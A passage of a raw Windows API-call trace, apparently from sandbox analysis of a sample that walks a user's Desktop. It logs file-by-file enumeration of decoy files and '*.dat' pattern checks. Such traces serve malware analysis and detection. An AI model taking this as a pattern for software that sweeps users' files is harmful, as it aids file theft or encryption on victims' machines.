lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="uf7A4eOeh4J7.ppt" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt" [0146.601] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.601] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.601] lstrcatW (in: lpString1="\\", lpString2="uf7A4eOeh4J7.ppt" | out: lpString1="\\uf7A4eOeh4J7.ppt") returned="\\uf7A4eOeh4J7.ppt" [0146.601] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0146.601] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt", cchWideChar=48, lpMultiByteStr=0x33400d0, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt", lpUsedDefaultChar=0x0) returned 48 [0146.602] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.602] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.602] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.602] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aba0 [0146.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236aba0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.602] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aba0 | out: hHeap=0x2360000) returned 1 [0146.602] PathMatchSpecW (pszFile="uf7A4eOeh4J7.ppt", pszSpec="*.dat") returned 0 [0146.602] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.602] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cd6b1c0, ftCreationTime.dwHighDateTime=0x1d7afe1, ftLastAccessTime.dwLowDateTime=0x4c5cef40, ftLastAccessTime.dwHighDateTime=0x1d7b020, ftLastWriteTime.dwLowDateTime=0x4c5cef40, ftLastWriteTime.dwHighDateTime=0x1d7b020, nFileSizeHigh=0x0, nFileSizeLow=0x3d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="vL0v.flv", cAlternateFileName="")) returned 1 [0146.602] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.602] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.602] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="vL0v.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv" [0146.602] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.602] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.602] lstrcatW (in: lpString1="\\", lpString2="vL0v.flv" | out: lpString1="\\vL0v.flv") returned="\\vL0v.flv" [0146.602] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362a40 [0146.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0146.602] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x28) returned 0x23632b8 [0146.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv", cchWideChar=40, lpMultiByteStr=0x23632b8, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv", lpUsedDefaultChar=0x0) returned 40 [0146.603] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.603] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23632b8 | out: hHeap=0x2360000) returned 1 [0146.603] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362a40 | out: hHeap=0x2360000) returned 1 [0146.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.603] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ac18 [0146.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ac18, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.603] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac18 | out: hHeap=0x2360000) returned 1 [0146.603] PathMatchSpecW (pszFile="vL0v.flv", pszSpec="*.dat") returned 0 [0146.603] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.603] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f5e49e0, ftCreationTime.dwHighDateTime=0x1d7a2c9, ftLastAccessTime.dwLowDateTime=0x2d0e0cb0, ftLastAccessTime.dwHighDateTime=0x1d7aa75, ftLastWriteTime.dwLowDateTime=0x2d0e0cb0, ftLastWriteTime.dwHighDateTime=0x1d7aa75, nFileSizeHigh=0x0, nFileSizeLow=0x62a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="X84p.png", cAlternateFileName="")) returned 1 [0146.603] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.603] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.603] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="X84p.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png" [0146.603] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.604] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.604] lstrcatW (in: lpString1="\\", lpString2="X84p.png" | out: lpString1="\\X84p.png") returned="\\X84p.png" [0146.604] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362d58 [0146.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0146.604] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x28) returned 0x2363288 [0146.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png", cchWideChar=40, lpMultiByteStr=0x2363288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png", lpUsedDefaultChar=0x0) returned 40 [0146.604] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.604] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2363288 | out: hHeap=0x2360000) returned 1 [0146.604] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362d58 | out: hHeap=0x2360000) returned 1 [0146.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.604] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab40 [0146.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab40, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.604] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab40 | out: hHeap=0x2360000) returned 1 [0146.604] PathMatchSpecW (pszFile="X84p.png", pszSpec="*.dat") returned 0 [0146.604] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.604] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61282b70, ftCreationTime.dwHighDateTime=0x1d7a32c, ftLastAccessTime.dwLowDateTime=0x5db41480, ftLastAccessTime.dwHighDateTime=0x1d7aa99, ftLastWriteTime.dwLowDateTime=0x5db41480, ftLastWriteTime.dwHighDateTime=0x1d7aa99, nFileSizeHigh=0x0, nFileSizeLow=0x50e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ym5Tg.wav", cAlternateFileName="")) returned 1 [0146.605] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.605] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.605] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Ym5Tg.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav" [0146.605] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.605] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.605] lstrcatW (in: lpString1="\\", lpString2="Ym5Tg.wav" | out: lpString1="\\Ym5Tg.wav") returned="\\Ym5Tg.wav" [0146.605] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0146.605] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x29) returned 0x33400d0 [0146.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav", cchWideChar=41, lpMultiByteStr=0x33400d0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav", lpUsedDefaultChar=0x0) returned 41 [0146.605] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.605] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.605] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.605] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abd0 [0146.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236abd0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.605] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abd0 | out: hHeap=0x2360000) returned 1 [0146.605] PathMatchSpecW (pszFile="Ym5Tg.wav", pszSpec="*.dat") returned 0 [0146.605] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.605] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeab27590, ftCreationTime.dwHighDateTime=0x1d7aa3d, ftLastAccessTime.dwLowDateTime=0xbdc31810, ftLastAccessTime.dwHighDateTime=0x1d7af46, ftLastWriteTime.dwLowDateTime=0xbdc31810, ftLastWriteTime.dwHighDateTime=0x1d7af46, nFileSizeHigh=0x0, nFileSizeLow=0x5ea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="YzUHXYWLxmgVgh-0.flv", cAlternateFileName="YZUHXY~1.FLV")) returned 1 [0146.606] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.606] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.606] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="YzUHXYWLxmgVgh-0.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv" [0146.606] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.606] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.606] lstrcatW (in: lpString1="\\", lpString2="YzUHXYWLxmgVgh-0.flv" | out: lpString1="\\YzUHXYWLxmgVgh-0.flv") returned="\\YzUHXYWLxmgVgh-0.flv" [0146.606] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.606] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x34) returned 0x32baaa0 [0146.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv", cchWideChar=52, lpMultiByteStr=0x32baaa0, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv", lpUsedDefaultChar=0x0) returned 52 [0146.606] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba1e0 [0146.606] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32baaa0 | out: hHeap=0x2360000) returned 1 [0146.606] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.606] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab40 [0146.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab40, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.606] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab40 | out: hHeap=0x2360000) returned 1 [0146.606] PathMatchSpecW (pszFile="YzUHXYWLxmgVgh-0.flv", pszSpec="*.dat") returned 0 [0146.606] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba1e0 | out: hHeap=0x2360000) returned 1 [0146.606] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28e0510, ftCreationTime.dwHighDateTime=0x1d7a36f, ftLastAccessTime.dwLowDateTime=0x594c2290, ftLastAccessTime.dwHighDateTime=0x1d7a790, ftLastWriteTime.dwLowDateTime=0x594c2290, ftLastWriteTime.dwHighDateTime=0x1d7a790, nFileSizeHigh=0x0, nFileSizeLow=0x14695, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZXgj9NJ y.mp3", cAlternateFileName="ZXGJ9N~1.MP3")) returned 1 [0146.606] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.606] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.607] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="ZXgj9NJ y.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3" [0146.607] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.607] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.607] lstrcatW (in: lpString1="\\", lpString2="ZXgj9NJ y.mp3" | out: lpString1="\\ZXgj9NJ y.mp3") returned="\\ZXgj9NJ y.mp3" [0146.607] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.607] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2d) returned 0x33400d0 [0146.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3", cchWideChar=45, lpMultiByteStr=0x33400d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3", lpUsedDefaultChar=0x0) returned 45 [0146.607] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.608] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.608] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.608] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab28 [0146.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab28, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.608] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab28 | out: hHeap=0x2360000) returned 1 [0146.608] PathMatchSpecW (pszFile="ZXgj9NJ y.mp3", pszSpec="*.dat") returned 0 [0146.608] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.608] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28e0510, ftCreationTime.dwHighDateTime=0x1d7a36f, ftLastAccessTime.dwLowDateTime=0x594c2290, ftLastAccessTime.dwHighDateTime=0x1d7a790, ftLastWriteTime.dwLowDateTime=0x594c2290, ftLastWriteTime.dwHighDateTime=0x1d7a790, nFileSizeHigh=0x0, nFileSizeLow=0x14695, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZXgj9NJ y.mp3", cAlternateFileName="ZXGJ9N~1.MP3")) returned 0 [0146.608] FindClose (in: hFindFile=0x8825b0 | out: hFindFile=0x8825b0) returned 1 [0146.608] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba8a0 | out: hHeap=0x2360000) returned 1 [0146.608] GetLastError () returned 0x12 [0146.608] SetLastError (dwErrCode=0x12) [0146.608] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0146.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3340650, cbMultiByte=31, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 31 [0146.608] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x32ba270 [0146.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3340650, cbMultiByte=31, lpWideCharStr=0x32ba270, cchWideChar=31 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned 31 [0146.609] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba4f8 [0146.609] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba270 | out: hHeap=0x2360000) returned 1 [0146.609] lstrcpyW (in: lpString1=0x19d32c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.609] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*" [0146.609] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*", lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2347d81f, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x2347d81f, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8823f0 [0146.609] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.609] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.609] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\." [0146.609] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.609] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.609] lstrcatW (in: lpString1="\\", lpString2="." | out: lpString1="\\.") returned="\\." [0146.609] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.609] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2347d81f, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x2347d81f, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.610] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.610] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.610] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.." [0146.610] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.610] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.610] lstrcatW (in: lpString1="\\", lpString2=".." | out: lpString1="\\..") returned="\\.." [0146.610] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.610] 